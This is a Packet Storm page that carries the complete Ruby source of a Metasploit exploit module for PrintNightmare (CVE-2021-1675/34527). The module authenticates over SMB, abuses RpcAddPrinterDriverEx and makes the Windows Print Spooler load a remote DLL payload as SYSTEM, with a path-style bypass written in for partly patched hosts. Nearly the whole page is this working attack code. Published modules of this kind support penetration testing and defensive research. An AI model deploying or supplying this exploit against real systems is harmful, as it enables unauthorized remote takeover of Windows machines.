what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Print Spooler Remote DLL Injection

Print Spooler Remote DLL Injection
Posted May 25, 2022
Authored by Christophe de la Fuente, Spencer McIntyre, Zhiniang Peng, cube0x0, Xuefeng Li, Zhang Yunhai, Piotr Madej, Zhipeng Huo | Site metasploit.com

The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.

tags | exploit, remote, code execution
advisories | CVE-2021-1675, CVE-2021-34527
SHA-256 | 1720ad267b345d6b91409cdb01c0ab129fc9f485ac71c4c4a816698bd6351239

Print Spooler Remote DLL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'

class MetasploitModule < Msf::Exploit::Remote

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Retry
include Msf::Exploit::EXE
include Msf::Exploit::Deprecated

moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'

PrintSystem = RubySMB::Dcerpc::PrintSystem

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Print Spooler Remote DLL Injection',
'Description' => %q{
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
vector which requires the Print Spooler service to be running.
},
'Author' => [
'Zhiniang Peng', # vulnerability discovery / research
'Xuefeng Li', # vulnerability discovery / research
'Zhipeng Huo', # vulnerability discovery
'Piotr Madej', # vulnerability discovery
'Zhang Yunhai', # vulnerability discovery
'cube0x0', # PoC
'Spencer McIntyre', # metasploit module
'Christophe De La Fuente', # metasploit module co-author
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVHOST' => Rex::Socket.source_address
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Windows', {
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ]
},
],
],
'DisclosureDate' => '2021-06-08',
'References' => [
['CVE', '2021-1675'],
['CVE', '2021-34527'],
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
],
'Notes' => {
'AKA' => [ 'PrintNightmare' ],
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK # the dll will be copied to the remote server
]
}
)
)

register_advanced_options(
[
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
]
)
deregister_options('AutoCheck')
end

def check
begin
connect(backend: :ruby_smb)
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
end

begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
end

begin
dcerpc_bind_spoolss
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
print_error("The 'Print Spooler' service is disabled.")
end
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
end

@target_arch = dcerpc_getarch
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
if @target_arch == ARCH_X64
@environment = 'Windows x64'
elsif @target_arch == ARCH_X86
@environment = 'Windows NT x86'
else
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end

print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")

print_status('Enumerating the installed printer drivers...')
drivers = enum_printer_drivers(@environment)
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
vprint_status("Using driver path: #{@driver_path}")

print_status('Retrieving the path of the printer driver directory...')
@config_directory = get_printer_driver_directory(@environment)
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?

container = driver_container(
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
)

case add_printer_driver_ex(container)
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
end

Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end

def run
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?

super
end

def setup
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end

super
end

def start_service
file_name << '.dll'
self.file_contents = generate_payload_dll

super
end

def primer
dll_path = unc
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
end
vprint_status("Using DLL path: #{dll_path}")

filename = dll_path.rpartition('\\').last
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)

3.times do
add_printer_driver_ex(container)
end

1.upto(3) do |directory|
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
break if add_printer_driver_ex(container).nil?
end

cleanup_service
end

def driver_container(**kwargs)
PrintSystem::DriverContainer.new(
level: 2,
tag: 2,
driver_info: PrintSystem::DriverInfo2.new(
c_version: 3,
p_name_ref_id: 0x00020000,
p_environment_ref_id: 0x00020004,
p_driver_path_ref_id: 0x00020008,
p_data_file_ref_id: 0x0002000c,
p_config_file_ref_id: 0x00020010,
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
p_environment: @environment,
p_driver_path: @driver_path,
**kwargs
)
)
end

def dcerpc_bind_spoolss
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
end

def enum_printer_drivers(environment)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
DriverInfo2.read(response.p_drivers.map(&:chr).join)
end

def get_printer_driver_directory(environment)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
end

def add_printer_driver_ex(container)
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES

begin
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
message = "Error #{nt_status.name} (#{nt_status.description})"
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
print_status('The named pipe connection was broken, reconnecting...')
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
dcerpc_bind_spoolss
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
false
else
true
end

unless reconnected
vprint_status('Failed to reconnect to the named pipe.')
return nil
end

print_status('Successfully reconnected to the named pipe.')
retry
else
print_error(message)
end

return nt_status
end

error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
message = "RpcAddPrinterDriverEx response #{response.error_status}"
message << " #{error.name} (#{error.description})" unless error.nil?
vprint_status(message)
error
end

def rprn_call(name, **kwargs)
request = PrintSystem.const_get("#{name}Request").new(**kwargs)

begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
end

PrintSystem.const_get("#{name}Response").read(raw_response)
end

class DriverInfo2Header < BinData::Record
endian :little

uint32 :c_version
uint32 :name_offset
uint32 :environment_offset
uint32 :driver_path_offset
uint32 :data_file_offset
uint32 :config_file_offset
end

# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
def self.read(data)
header = DriverInfo2Header.read(data)
new(
header,
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
)
end
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close